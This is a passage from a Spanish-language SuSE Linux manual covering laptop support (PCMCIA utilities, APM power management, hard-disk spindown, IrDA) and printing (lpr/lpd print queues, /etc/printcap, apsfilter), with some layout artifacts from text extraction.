de problemas. . . subsection.11.1.5. 11.1.7 Utilidades adicionales El programa cardctl ya ha sido mencionado varias veces. Es la herramienta principal para conseguir información sobre PCMCIA o para ejecutar deter- minadas acciones. Detalles sobre el programa se encuentran en la página del manual de cardctl (man cardctl ). También es posible introducir cardctl sin ningún parámetro para que aparezca una línea con los comandos válidos. 3 ____________________________________________________ A propósito: rpm -ql pcmcia | grep man genera una lista con todas las páginas de manual del paquete pcmcia. 4 Trabajando con YaST2 hay que usar |_______|Ctrl+ |_____A|lt+ |________F|, ya que YaST2 se ejecuta bajo el sistema X Window. * * 317 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ Figura 11.1: PCMCIA ~ Cardinfo Para este programa existe una superficie gráfica (sobre cardinfo véase la figura 11.1), que permite controlar los aspectos más importantes. Desafortu- nadamente no es posible usarlo para cambiar de un esquema a otro. Dentro del entorno KDE existe también kardinfo . Esta herramienta es bási- camente igual a cardinfo . Otras utilidades del paquete pcmcia son ifport , ifuser , probe y rcpcmcia , pero estos no se usan con frecuencia. Para conocer exacta- mente el contenido completo del paquete pcmcia, se puede usar el comando rpm -ql pcmcia . 11.2 APM ~ Gestión de potencia 11.2.1 Fundamentos La gestión de potencia (ingl. Powermanagement) requiere hardware adecua- do y rutinas de la BIOS adecuadas. La mayoría de los portátiles y de las máquinas de sobremesa modernas cumplen los requerimientos. Las funciones de ahorro de energía realmente importan para los portátiles cuando no están conectados a la fuente de alimentación. A continuación se discuten estas fun- ciones: Standby ~ Este modo de operación apaga el panel/monitor y algunas com- putadoras reducen la potencia del procesador. Suspend (to memory) ~ Para este modo toda la información sobre el estado del sistema se guarda en la memoria y ~ aparte de ésta ~ todo el resto del sistema se para. Es un estado en el cual la computadora gasta muy poca energía, así que se puede pasar desde 12 horas hasta varios días con la batería. La gran ventaja es la de volver dentro de pocos segundos al estado anterior de trabajo, sin necesidad de arrancar y cargar de nuevo los programas usados. ~ El atractivo especial de realizar esto con Linux es el no tener que parar la computadora nunca; hay otros sistemas operativos que se vuelven inestable después de cierto tiempo. Para la mayoría de los 318 ________________________________________________________________________________11.2.__APM_~_Gestión_de_potencia____________* *______________________ portátiles modernos es suficiente cerrar la tapa para suspender y abrirla después para seguir trabajando. Hibernate (Suspend to disk) ~ En este modo la computadora aguanta todo el invierno5 , ya que todo el contenido de la memoria se ''vuelca'' al disco duro y el sistema se para después. La computadora se tarda unos 30 a 60 segundos y también se restablece completamente el estado anterior. Al- gunos fabricantes ofrecen ciertos modos híbridos. Control de la batería ~ Muy interesante. Apagado automático ~ Una característica también interesante para las com- putadoras de sobremesa. Después de un ''Shutdown'' la computadora se para completamente sin necesidad de apretar el botón de apagado. Parar el disco duro ~ Puede ahorrar bastante energía y también nervios, si el disco es ruidoso. Es una función que depende de varios factores externos; si hay p. ej. un editor que hace regularmente respaldos, éste a su vez hace arrancar regularmente el disco duro. La BIOS misma realiza algunas de estas funciones directamente. En muchos portátiles no hace falta nada más que usar una combinación de teclas o cerrar la tapa para activar Standby o Suspend. Estos modos de operación se realizan sin intervención del sistema operativo. Para iniciarlos mediante un comando o si hace falta ejecutar ciertas acciones antes de suspender, hay que instalar determinados paquetes y un kernel adecuado. 11.2.2 El kernel correcto Para realizar funciones adicionales de APM se necesita un kernel con so- porte de APM. Uno de los kernel estándar de SuSE que se puede instalar con YaST lo incorpora y se puede comprobar fácilmente con el comando cat /proc/apm . Si aparece una línea con diversos números, todo está bien y la instrucción shutdown -h debe parar y apagar la computadora. Algunas BIOS no cumplen el estándar APM al cien por cien, por lo que puede apare- cer un comportamiento ''extraño''. Algunos de estos problemas se remedian con una configuración especial del kernel; consulte nuestro banco de datos de soporte http://sdb.suse.de/sdb/de/html/o la ''Linux Laptop Home- page'' en http://www.cs.utexas.edu/users/kharker/linux-laptop. 11.2.3 El daemon APM El + Daemon apmd monitoriza el estado de la batería y es capaz de iniciar ciertas actividades cuando aparece un ''Standby'' o ''Suspend''. Se encuentra en el paquete apmd, serie ap, pero no es imprescindible para trabajar (sin embargo útil). La variable START_APMD en /etc/rc.config debe tener el valor yes , para que se inicie de forma automática en el arranque. Para iniciarlo manualmente se usa rcapmd start . El daemon se configura mediante algunas variables en /etc/rc.config.d/ apmd.rc.config. Este fichero ya contiene comentarios por lo que solo se dan algunos consejos a continuación. 5 ____________________________________________________ Hibernation == Invernar * * 319 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ o En SuSE Linux, PCMCIA está compilado sin soporte APM. Para no tener que recompilar el paquete PCMCIA, se puede poner la variable PCMCIA_SUSPEND_ON_SUSPEND en yes . No obstante hay algunas tarje- tas que siguen sin funcionar después de suspender el equipo. Para ellos se puede usar la opción más ''drástica'' PCMCIA_EJECT_ON_SUSPEND=yes . o Si la hora es incorrecta después de suspender, hay que poner SET_CLOCK_ON_RESUME en yes . o Si el sistema X Window produce problemas cuando el sistema ''se de- spierta'' use LEAVE_X_BEFORE_SUSPEND=yes . Además es posible adaptar el comportamiento de parada (''Spindown'') del disco duro según la fuente de energía usada (batería o red eléctrica) y parar el sistema automáticamente cuando la capacidad de la batería cae por debajo de un nivel crítico. Para los usuarios avanzados queda la posibilidad de añadir funcionalidades al fichero /usr/sbin/apmd_proxy. 11.2.4 Comandos adicionales El paquete apmd contiene algunas utilidades adicionales. apm indica p. ej. la capacidad actual de la batería y se puede poner el sistema en ''standby'' (apm -S ) o ''suspend'' (apm -s ); ver la página del manual de apm (man apm ). Con el comando apmsleep se puede suspender el sistema para un tiempo determinado; ver página del manual de apmsleep (man apmsleep ). Para visualizar un fichero log sin necesidad de mantener el disco duro giran- do, se puede usar tailf como reemplazo de tail -f . También hay herramientas para el sistema X Window como p. ej. xapm del paquete apmd que indica de forma gráfica la carga de la batería. Usando el entorno KDE ~ o al menos kpanel ~, se puede visualizar con kbatmon el estado de carga de la batería y suspender el sistema. 11.2.5 Parar el disco duro En Linux es posible parar el disco duro cuando no se necesita. Esto se real- iza mediante el programa hdparm , que tiene varias opciones. For example-y pone el disco duro inmediatamente en modo ''standby'' mientras que -Y lo para completamente. hdparm -S 6 hace que el disco se pare después de 30 segundos de inactividad. El valor 6 representa 6 5 = 30 segundos, mien- tras que 0 deshabilita la función. A valores más grandes el factor de multipli- cación también se aumenta; para más detalles ver la página de manual. Para que este comportamiento dependa de la fuente de energía (batería o red eléctrica), es necesario tocar la configuración en /etc/rc.config.d/apmd. rc.config. En tal caso la variable CHECK_TIME debe estar en 0 . Desafortunadamente se necesita el disco con frecuencia por lo que se ''de- spierta'' con igual frecuencia. Por una parte son los programas (p. ej. editores de texto) los que salvan los datos regularmente y por otra, herramientas como tail -f que producen accesos frecuentes al disco (el último se puede reemplazar con tailf ). Incluso cuando no se usa ninguno de estos programas, siempre existe un proceso que no deja descansar al disco duro. Para entenderlo es necesario saber que bajo Linux los datos 320 ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________* *______________________ nunca se escriben directamente en el disco, sino adentro de un búfer que pro- porciona el kernel. Así las operaciones de escribir se agilizan. Para evitar la perdida de datos existe el ''Update-Daemon'', que se encarga de sincronizar periódicamente el disco y los búferes; quiere decir que escribe los datos al disco. Desde la versión 2.2.11 del kernel este daemon forma parte de él por lo que ya no se puede desactivar fácilmente o reemplazarlo por el ''mobile Update-Daemon''. Sin embargo a través del sistema de ficheros /proc es posible ejercer una cierta influencia sobre él. El comando tierra: # cat /proc/sys/vm/bdflush indica los parámetros actuales y los nuevos se establecen mediante tierra: # echo "60 500 64 256 6000 60000 3000 1884 2" > /proc/sys/vm/bdflush Para efectuar estos cambios le remitimos a /usr/src/linux/Documentation/ proc.txt para averiguar el significado de la cifras. A propósito: Con sync se puede forzar la sincronización de búfer y disco. 11.3 IrDA ~ Infrared Data Association IrDA (Infrared Data Association) es un estándar industrial para la comu- nicación inalámbrica por onda infrarroja. Muchos de los portátiles que se venden hoy en día incorporan un emisor/receptor que permite la co- municación con otros dispositivos como impresora, modem, LAN u otros portátiles. La tasa de transferencia se sitúa entre 2400 bps y 4 Mbps. _______________________________________________________________________________________________________________________|| |||||||| El kernel de Linux aún no tiene soporte total del protocolo IrDA, por ||| | |||||||| lo que esta funcionalidad no está incorporada en el kernel estándar; se || | |||||||| || | |||||||| considera ''experimental'' (en fase beta). Al no estar totalmente probado, || | |||||||| es posible que este driver reciente no presente tanta estabilidad como otros || | |||||||| || | |||||||| componentes del kernel. || | ||||||||_______________________________________________________________________________________________________________||_ Software El paquete irda incorpora el soporte de la interface por infrarrojos y el pro- tocolo IrDA. La documentación al respecto se encuentra después de la insta- lación en /usr/doc/packages/irda/README. Si el paquete howto está instalado, se puede encontrar el IR-HOWTO en /usr/ doc/howto/en/IR-HOWTO.gz. Más información sobre el proyecto IrDA de Linux se encuentra en el URL http://www.cs.uit.no/linux-irda. Configuración Cuando el paquete irda se instala, las variables START_IRDA , IRDA_PORT y IRDA_IRQ se apuntan en el fichero /etc/rc.config. IrDA está normal- mente desactivado, pero se puede activar manualmente en cualquier instante con el comando: tierra: # rcirda start Para desactivarlo se usa el parámetro stop . Activando el puerto de infrarrojos los módulos de kernel necesarios se cargan automáticamente. * * 321 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ La interface usada para IrDA se configura con las variables IRDA`PORT (por defecto /dev/ttyS1 ) y IRDA_IRQ (por defecto 3 ); el script /etc/irda/ drivers se encarga de esta configuración cuando se inicia el soporte de infrarrojos. Para activar el soporte IrDA directamente después del inicio de sistema, asigne a la variable START_IRDA el valor yes . Lamentablemente IrDA nece- sita bastante energía (batería), porque cada pocos segundos envía un paquete ''Discovery'' para ''descubrir'' automáticamente otros dispositivos. Aplicación Para imprimir por vía infrarroja, es posible enviar los datos a través del fichero de dispositivo /dev/irlpt0. Este se comporta igual que la inter- face o fichero de dispositivo /dev/lp0 con conexión ''alámbrica'' solo que los datos viajan por vía infrarroja. Se puede configurar una impresora que trabaja con el puerto IrDA tal co- mo una impresora en el puerto paralelo o puerto serie, usando YaST (ver apartado 3.7.1 en la página 103Configurar impresorassubsection.3.7.1). Para imprimir vigile que la impresora esté ''a la vista'' del puerto IrDA de la com- putadora y que el soporte de infrarrojos se haya inicializado. El fichero de dispositivo /dev/ircomm0 permite comunicarse con otras com- putadoras o p. ej. con teléfonos móviles. Usando el programa wvdial se puede entrar vía infrarrojos a Internet usando por ejemplo el móvil S25 de Siemens. Solución de problemas Si los dispositivos en el puerto de infrarrojos no reaccionan, es posible com- probar con el comando irdadump , si la computadora llega a reconocer el otro dispositivo (entre al sistema como `root'). tierra: # irdadump Si hay una impresora Canon BJC-80 ''a la vista'' de la computadora tierra, el siguiente mensaje aparece en pantalla, repitiéndose periódicamente (ver salida en pantalla 11.3.1). ________________________________________________________________________________________________________* *________|| | 21:41:38.435239 xid:cmd 5b62bed5 > ffffffff S=6 s=0 (14) * * | | * * | | 21:41:38.525167 xid:cmd 5b62bed5 > ffffffff S=6 s=1 (14) * * | | 21:41:38.615159 xid:cmd 5b62bed5 > ffffffff S=6 s=2 (14) * * | | 21:41:38.705178 xid:cmd 5b62bed5 > ffffffff S=6 s=3 (14) * * | | * * | | 21:41:38.795198 xid:cmd 5b62bed5 > ffffffff S=6 s=4 (14) * * | | 21:41:38.885163 xid:cmd 5b62bed5 > ffffffff S=6 s=5 (14) * * | | * * | | 21:41:38.965133 xid:rsp 5b62bed5 < 6cac38dc S=6 s=5 BJC-80 \ * * | | hint=8804 [ Printer IrCOMM ] (23) * * | | * * | | 21:41:38.975176 xid:cmd 5b62bed5 > ffffffff S=6 s=* erde \ * * | | hint=0500 [ PnP Computer ] (21) * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 11.3.1: IrDA: irdadump Si no aparece nada en pantalla o el otro dispositivo no responde, debe com- probar primero la configuración de la interface. ¿Realmente está usando la interface correcta? Esta se encuentra a veces también bajo /dev/ttyS2 o 322 ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________* *______________________ /dev/ttyS3 y también es posible que se use otra interrupción que no sea la 3. En casi todos los portátiles es posible modificar esta configuración en la BIOS. Además solo es posible acceder a dispositivos que soporten bien el proto- colo Printer o bien el protocolo IrComm . Usando programas especiales (irobex_palm3 , irobex_receive , leer las instrucciones en IR-HOWTO) es posible comunicarse con dispositivos que se apoyan en el protocolo IROBEX (p. ej. 3Com Palm Pilot). El resultado del comando irdadump indica, por detrás del nombre de dispositivo y entre corchetes, el protocolo soportado. Actualmente se está trabajando en el soporte del protocolo IrLAN , pero aún no es estable; lo más probable es que exista dentro de poco también para Linux. Para comprobar si el diodo LED realmente se ilumina, es posible mirar por una cámara de vídeo, ya que éstas ~ al contrario del ser humano ~ son capaces de detectar la luz infrarroja. * * 323 11. Portátiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________* *_______________________________________@ 324 Capítulo 12 Impresoras Probablemente ya habrá pasado por la primera configuración de una impreso- ra bajo Linux durante la instalación del sistema con YaST (ver apartado 3.7.1 en la página 103Configurar impresorassubsection.3.7.1). El presente capítulo muestra lo más importante de lo que ocurre ''detrás'' del proceso y no especi- fica cada detalle pero sí lo suficiente como para entender el esquema de los procesos que se llevan a cabo durante la impresión. 12.1 Sinopsis: Interfaces, colas (spooling) Los puertos paralelos Para conectar una impresora a una máquina Linux, se utiliza generalmente el puerto paralelo. Desde el kernel 2.2.xx existe el subsistema parport , que necesita drivers específicos para reconocer los dispositivos conectados (ver el apartado 10.4.3 en la página 300Conexiones de puerto paralelosubsection.10.4.3). De esta forma es posible utilizar simultáneamente varios dispositivos conectados en cadena al puerto paralelo. ¡La enumeración de los ficheros de dispositivo para la impresora comienza ahora con /dev/lp0! Para poder imprimir a través del primer puerto paralelo con el kernel 2.2.xx en la forma estándar de SuSE , es preciso cargar los módulos parport, parport_pc y lp. El kmod (ingl. Kernel Module Loader) los carga (por lo general) automáticamente cuando se lanza una tarea de impresión (ver apartado 13.2 en la página 351Kmod ~ el ''Kernel Module Loader''section.13.2) . Si los módulos no encuentran el puerto paralelo, se les puede ''ayudar'' pasando parámetros al kernel; ver en la página 388El puerto paralelosubsection.14.3.4 . Para probar la interfaz y la impresora se puede usar un comando como: tierra: # echo hello > /dev/lp0 o tierra: # cat Fichero_Texto > /dev/lp0 Estos comandos envían datos directamente a la interfaz; solo se pueden usar como `root' (+ Administrador de sistema). En un sistema multitarea este procedimiento resulta inútil ya que habría que contar con solicitudes de im- presión en cualquier momento y desde varios procesos al mismo tiempo, lo que provocaría un ''caos'' en la impresora. En lugar de esto, las solicitudes se llevan a cabo a través de una cola de impresión (ingl. printing queue). * * 325 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ Los puertos trabajan por defecto en modo ''Polling'' (la CPU tiene que con- sultarlos periódicamente para saber si hace falta transferir datos). Cuando se carga el sistema parport o mediante el sistema de ficheros /proc es posible que el superusuario (`root') cambie la modalidad de trabajo a la de "in- terrupciones"y use el programa tunelp para optimizar el proceso aún más; ver la página del manual de tunelp (man tunelp ) y los documentos que se mencionan en el apartado 10.4.3 en la página 300Conexiones de puer- to paralelosubsection.10.4.3. Antes de comenzar, se deben comprobar los parámetros de los puertos (interrupción "IRQ"y la dirección de memoria) de las interfaces (generalmente se hace por medio de la BIOS o por ''jumpers''). 12.1.1 Spooling, colas de impresión En Linux tal como en otros sistemas operativos multitarea, se accede a las im- presoras a través de un mecanismo de ''spooling'' (cola de impresión). Esto significa que las solicitudes de impresión se almacenan temporalmente en un fichero y después se procesan una tras otra, bajo el control de un programa su- pervisor (daemon). De este modo, varios usuarios pueden pedir simultánea- mente la impresión de documentos sin provocar conflictos. Después de haber solicitado la impresión, el usuario puede continuar trabajando sin necesidad de esperar. La cola de impresión está formada por: o una entrada en /etc/printcap, que define la cola o un directorio ~ normalmente /var/spool/lpd ~ para albergar un fichero de datos y otro de control para cada tarea de impresión. A cada cola de impresión le pertenece una sola impresora, no obstante, pueden existir varias colas para la misma impresora. SuSE Linux incluye el sistema BSD-Spooling de la ''University of California at Berkeley'' en el paquete lprold. En principio está diseñado para el uso vía red, por lo tanto, se supone que TCP/IP está configurado y que funciona. En cuanto a la configuración, la diferencia entre una cola de impresión local o una remota es mínima. Una tarea de impresión se procesa bajo Linux en tres pasos: o El fichero de datos se copia al directorio de una cola de impresión y se completa allí con un fichero nuevo de control para formar una tarea de impresión completa. o El fichero de datos pasa, según las instrucciones del fichero de control, por un filtro que genera un serie de instrucciones para la impresora en cuestión; o sea, el filtro genera un flujo de datos en el formato específi- co de la impresora, p. ej. PostScript, PCL, Esc/P2 etc. Esta conversión puede tener varios pasos y bajo SuSE Linux se encarga de ello el apsfil- ter (paquete aps). Ver también apartado 12.3 en la página 331Filtros de impresión ~ el ''apsfilter''section.12.3. o El fichero específico se imprime según el orden actual en la cola de im- presión. 326 _________________________________________12.2.__Colas_de_impresión:_Funcionamiento_y_configuración__________________________* *______________________ 12.2 Colas de impresión: Funcionamiento y configuración Para comprender mejor el funcionamiento de la cola de impresión, se re- comienda examinar las estaciones por las que pasa una solicitud de impre- sión, desde el fichero del usuario hacia la impresora y cuáles programas se ocupan de ello. Muchos detalles que no se contemplan aquí por falta de espacio, se en- cuentran en la página del manual de lpr (man 1 lpr ), en la página del manual de lpd (man 8 lpd ) y en la página del manual de printcap (man 5 printcap ). lpr: ¿Quién es el último? El programa lpr representa la ''interfaz de usuario'' hacia las colas de impre- sión existentes. Generalmente se solicita una tarea con un sencillo comando como el siguiente: tux@tierra: > lpr [-Pcola_impresión] fichero_texto Dejando la opción -P (''Printer'') para el nombre de la cola de impresión, se usa como valor predeterminado el contenido de la variable de entorno PRINTER. Si ésta se encuentra vacía, se usa el nombre tradicional lp . Lo mismo es válido para lpq y lprm . _______________________________________________________________________________________________________________________ |||||||| No debe aparecer ningún espacio entre la opción -P y el nombre de la || | |||||||| || | |||||||| impresora (cola_impresión ). || | ||||||||_______________________________________________________________________________________________________________||_ lpr comprueba mediante el fichero /etc/printcap, si existe la cola de im- presión indicada. En caso afirmativo, crea el fichero de control de la tarea (fichero-cf) y una copia del fichero de datos. Posteriormente pasa los dos ficheros al gestor de impresión lpd , que coloca la tarea en el directorio (''spool'') de la cola de impresión. Cuando la tarea de impresión es muy grande, resulta bastante práctico generar en el directorio ''spool'' un enlace simbólico hacia el fichero de datos, en lugar de copiarlo. Esto se consigue con la opción -s de lpr . Evidentemente, no se debe modificar el fichero antes de la finalización de la tarea de impresión. lpr permite seleccionar a mano un filtro de impresión (driver de impresora) especial para una tarea. Es una opción que se necesita raras veces y se explica en la Manpage de lpr y en el apartado 12.3 en la página 331¿Qué son los filtros de impresión y cómo trabajan?section.12.3 sobre filtros. Utilidades para el usuario: Sinopsis Para administrar colas de impresión existe una interesante herramienta gráfica en el paquete xlpq, serie xap. Sin embargo, las herramientas de la línea de comandos que se presentan a continuación, son más potentes ya que tienen más opciones. _______________________________________________________________________________________________________________________|| |||||||| Para manipular las colas de impresión se necesitan derechos de supe- ||| | |||||||| rusuario. For examplepara borrar tareas de impresión que no son propios || | |||||||| || | |||||||| hace falta trabajar como `root'. || | ||||||||_______________________________________________________________________________________________________________||_ * * 327 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ o lpq muestra las propias tareas en la cola de impresión (usando la opción -P ); el comando que viene a continuación da como resultado la salida en pantalla 12.2.1: tux@tierra: > lpq -Pcola_impresión ________________________________________________________________________________________________________* *________|| | cola_impresiónRaisnkreadyOwandneprintingr Job Files Total Size * * | | * * | | active tux 676 Hallo.txt 259420 bytes * * | | 1st tux 677 brief.dvi 11578 bytes * * | | 2nd tux 683 bild.gif 37464 bytes * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 12.2.1: Resultado del comando lpq . o lprm borra las tareas propias de la cola de impresión; el comando que viene a continuación da como resultado la salida en pantalla 12.2.2: tux@tierra: > lprm -Pcola_impresión 676 ________________________________________________________________________________________________________* *________|| | dfA676Aa05005 dequeued * * | | cfA676Aa05005 dequeued * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 12.2.2: Resultado ejemplar del comando lprm . Sin indicación explícita de un número de tarea activa, ésta se borra de la cola si la tarea pertenece al usuario. o lpc (con rama completa: /usr/sbin/lpc) control de las colas de impre- sión. Las opciones más importantes figuran a continuación (como nombre de la cola de impresión se puede indicar también all = todos): ~ status cola_impresión Informa sobre el estado de la cola. Si falta la indicación cola_impresión , es como haber indicado all , o sea, se informa sobre el estado de todas las colas. ~ disable cola_impresión Se deja de aceptar nuevas tareas en la cola de impresión. ~ enable cola_impresión Activa la cola de impresión para aceptar nuevas tareas. ~ stop cola_impresión Detiene la impresión de las tareas de la co- la; la tarea que se está imprimiendo termina. ~ start cola_impresión Reanuda la impresión de las tareas en la cola. ~ down cola_impresión Tiene el mismo efecto que disable más stop . ~ up cola_impresión Tiene el mismo efecto que enable más start . ~ abort cola_impresión Actúa como down , con la diferencia de que detiene inmediatamente una tarea que se está imprimiendo. Las tareas se mantienen y es posible reanudarlas después del reinicio de la cola (up ). 328 _________________________________________12.2.__Colas_de_impresión:_Funcionamiento_y_configuración__________________________* *______________________ Se pueden pasar estos comandos directamente desde la línea de comandos a lpc (p. ej. lpc status ) o llamar a lpc sin parámetro. En el último caso se abre un cuadro de diálogo con su propio ''prompt'' lpc> , esperando la introducción de comandos de lpc . Con quit o exit se sale de esta ventana. _______________________________________________________________________________________________________________________|| |||||||| Las tareas de impresión se mantienen en la cola de impresión incluso si ||| | |||||||| || | |||||||| se para a propósito la computadora durante la impresión, reiniciándola || | |||||||| nuevamente más tarde. Por eso hace falta quitar un tarea de impresión || | |||||||| || | |||||||| equivocada mediante los comandos que figuran arriba. || | ||||||||_______________________________________________________________________________________________________________||_ lpd: el gestor de impresión en segundo plano El lpd (ingl. Line Printer Daemon) se activa durante el arranque del sistema mediante el script /sbin/init.d/lpd si el fichero /etc/rc.config con- tiene la línea START_LPD=yes . lpd se ejecuta como daemon en segundo plano. Cuando lpd se inicia, averigua mediante el fichero /etc/printcap las colas de impresión definidas. Su trabajo es organizar la impresión de las tareas en la cola; trabajo que se desglosa en: o organización de las colas locales: lpd hace pasar el fichero de datos por el filtro adecuado (definido por la entrada de la cola en /etc/printcap, tal como por indicaciones explícitas en el fichero de control de la tarea) y lo envía después al puerto de la impresora; o consideración del orden de las tareas en la cola de impresión; o supervisión del estado de las colas y de la impresora (fichero status en los directorios ''spool'' locales) e información sobre los estados en caso de solicitud; o traspaso de solicitudes de impresión a colas remotas al lpd local de la máquina remota; o recogida de solicitudes de impresión dirigidas a colas locales y proce- dentes de máquinas remotas o rechazo de las mismas en caso de no ser autorizadas. Autorización: Solo se aceptan solicitudes de máquinas remotas si éstas se mencionan en el fichero /etc/hosts.lpd del servidor de impresión (ingl. printserver). También es suficiente con mencionar la máquina remota en /etc/hosts.equiv pero esto presenta muchos inconvenientes respecto a los derechos de acceso desde la máquina remota a la local. Por razones de seguridad es mejor evitarlo (ver el apartado 18.2.2 en la página 464El TCP-Wrappersubsection.18.2.2) . Si se añaden parámetros a la definición de la cola, estos pueden causar re- stricciones adicionales a los usuarios de un determinado grupo o a usuarios con cuenta en la máquina local. Filtros: los trabajadores infatigables Los filtros de impresión se encargan de convertir el fichero de datos de una tarea al formato específico de la impresora (en cuanto a su configuración ver * * 329 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ el apartado 12.3 en la página siguiente). Con ello, los filtros son los que tienen la mayor carga de trabajo en todo el proceso de impresión. Su función equivale a la de los drivers de impresión en otros sistemas operativos como Windows u OS/2. Aparte de esto, liquidan a petición del usuario la tarea de impresión, calculando los recursos gastados, el tamaño total. . . /etc/printcap : Configuración de las colas Cada cola de impresión disponible se define en el fichero /etc/printcap con una entrada y ésta se finaliza con el símbolo ''Newline'' (cambio de línea/retorno de carro), sin embargo, cuando la entrada es muy larga, éste se puede reemplazar con el símbolo de la barra inversa `\' inmediatamente por delante del cambio de línea. La entrada comienza con uno o varios nom- bres para la cola de impresión, separados por el símbolo `|' y a continuación viene una lista de especificaciones con el formato1 abreviatura =, con el símbolo de separación `:'. Las línea vacías y las que comienzan con # (comentarios) se ignoran. El fichero /etc/printcap contiene una serie de entradas a modo de ejem- plo; como se puede observar, en el fichero 12.2.1 aparece una entrada muy simple sin ningún filtro. ________________________________________________________________________________________________________* *________ | ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240 * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 12.2.1: /etc/printcap : Cola de impresión local sencilla Se puede acceder a esta cola de impresión con los nombres ascii y deskjet. El directorio ''spool'' de la cola está en /var/spool/lpd/ascii y su impre- sora es /dev/lp0. No imprime portadas al comienzo de cada tarea de im- presión (sh ''suppress header'' ~ suprimir encabezado) y acepta tareas hasta 10240 KB. El fichero 12.2.2 muestra el ejemplo de una cola de impresión en una computadora remota. Respecto a esta configuración ver el apartado 12.4 en la página 337Impresoras de red con apsfilter section.12.42 . ________________________________________________________________________________________________________* *________|| | lp1|HP-4P:\ * * | | :rm=sol.cosmos.univ:\ * * | | * * | | :rp=HP:\ * * | | :sd=/var/spool/lpd/lp1:\ * * | | :mx#0:sh * * | |_______________________________________________________________________________________________________* *________ | Fichero 12.2.2: /etc/printcap : Cola de impresión remota sencilla La cola de impresión tiene los nombres lp1 y HP-4P . En lugar de indi- carse el dispositivo lp= , ahora se hace referencia al + Anfitrión (ingl. host) sol.cosmos.univ y su cola de impresión HP. No hace falta especificar fil- tros ya que la cola en sol.cosmos.univ se encarga de ello. Por lo tanto, solo _____________________________________________1 Todas las abreviaturas con su significado y valor predeterminado se detallan en la página del manual de printcap (man printcap ). 2 Las barras inversas (\) al final de la línea ''esconden'' el retorno de carro ~ tal como en la introducción de comandos de la shell ~ así que la entrada cuenta como una sola línea. 330 ____________________________________________________________________12.3.__Filtros_de_impresión_~_el_''apsfilter''__________* *______________________ queda indicar el fichero de ''spool'' /var/spool/lpd/lp1 y la restricción de tamaño de las tareas (mx#0 significa que no existe ninguna restricción). Si se usa apsfilter para la configuración, las colas de impresión necesarias se apuntan automáticamente en /etc/printcap; en el apartado siguiente hay más información al respecto. 12.3 Filtros de impresión ¿Qué son los filtros de impresión y cómo trabajan? Como ya se ha indicado, el trabajo de un filtro de impresión es convertir el fichero de datos de una tarea de impresión al formato específico de la impresora que corresponda. Cuando lpd llama al filtro, éste recibe como información adicional el tamaño de papel, el nombre del usuario y del host desde donde viene la tarea y el nombre del fichero. Como se trata de un programa de Unix, el filtro recibe el fichero de datos a través de la ''entrada normalizada'' (ingl. standard input) y pasa el resultado a la ''salida normalizada'' (ingl. standard output). El filtro debe conocer el formato de los datos de entrada (texto-ASCII, DVI, PostScript, etc.). Para conocerlo existen dos posibilidades: o El filtro es suficientemente ''inteligente'' como para reconocer el formato del fichero a base de la estructura de los datos. En este caso, el filtro esta compuesto por un ''pre-filtro'' para el reconocimiento de datos y varios programas más que se encargan realmente del trabajo de conversión. Así funciona ~ a grandes rasgos ~ el programa apsfilter que se instala por defecto con SuSE Linux. o Se definen diferentes filtros para diferentes formatos de fichero. La asignación de los filtros se efectúa a través de unas entradas en /etc/ printcap de la cola de impresión y el usuario selecciona los filtros pos- teriormente por medio de una opción adicional cuando se llama a lpr . Hay ocho posibilidades previstas: _printcap_Entrada__|_____________if=_____cf=_______df=______gf=______nf=_______rf=______tf=_____vf=_______ lpr Opción | -c -d -g -n -f -t -v Estas opciones se asignan por costumbre3 a unos formatos especiales, pero lo realmente necesario es la asignación de la opción lpr con la en- trada en /etc/printcap 4 .) Para poner un ejemplo, if= denomina el filtro estándar y df= el filtro para ficheros del tipo DVI (el producto de TEXyALTEX). Así se podría definir un filtro DVI propio para el LaserJet 4, usando la entrada que figura en el fichero 12.3.1 en la página siguiente. Se debe tener el paquete te_dvilj instalado, pero hoy por hoy es más recomendable valerse del correspondiente ''driver'' de Ghostscript, que sería el ljet4 . 3 ____________________________________________________ Ver la Manpage de lpr. 4 p. ej. una ''entrada cero'' al filtro cf=/bin/cat es permitida y si se da el comando lpr -c , se ejecuta fiel a la definición. * * 331 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | df="/usr/bin/dvilj4 -e- -" * * | |_______________________________________________________________________________________________________* *________ | Fichero 12.3.1: Definición de un filtro DVI en /etc/printcap apsfilter El paquete aps ofrece con el apsfilter un filtro muy confortable. apsfilter aprovecha las siguientes circunstancias: o El formato del fichero de impresión estándar en el mundo de Unix es PostScript. o Existe una serie de herramientas que convierten otros formatos de texto y de imágenes en PostScript, p. ej. dvips para ficheros DVI, a2ps para ficheros ASCII y el paquete netpbm, serie gra para gráficos, etc. o Existe también el potente programa Ghostscript , capaz de convertir ficheros de PostScript en una multitud de formatos especiales para im- presoras que no son PostScript (en cierta manera es como una colección amplia de drivers de impresora). apsfilter reune todos estos programas junto con las herramientas necesarias para el reconocimiento del formato (file ) y la descompresión. Según el forma- to que apsfilter reconoce, pasa los datos de entrada por todas las herramientas necesarias hasta conseguir el flujo de datos correcto, que da como resultado la impresión correcta. El script principal /var/lib/apsfilter/apsfilter indica los siguientes formatos de fichero y tipos de compresión soportados: o ASCII, DVI, PS, Data (PCL,. . . ), GIF, TIFF, PBM, Sun Raster, X11- Bitmap o Tipos de compresión: compress , gzip , freeze Las colas de impresión de apsfilter El programa apsfilter ofrece las siguientes colas de impresión para una com- putadora local: lp ~ Cola estándar para todos los formatos de fichero. lp-mono ~ Se genera para las impresoras de color en concepto de imprimir en blanco y negro; procesa todos los formatos de ficheros igual a lp . ascii ~ Para imprimir ficheros como texto ASCII, aunque el sistema de ''spooling'' reconozca otro formato5 . 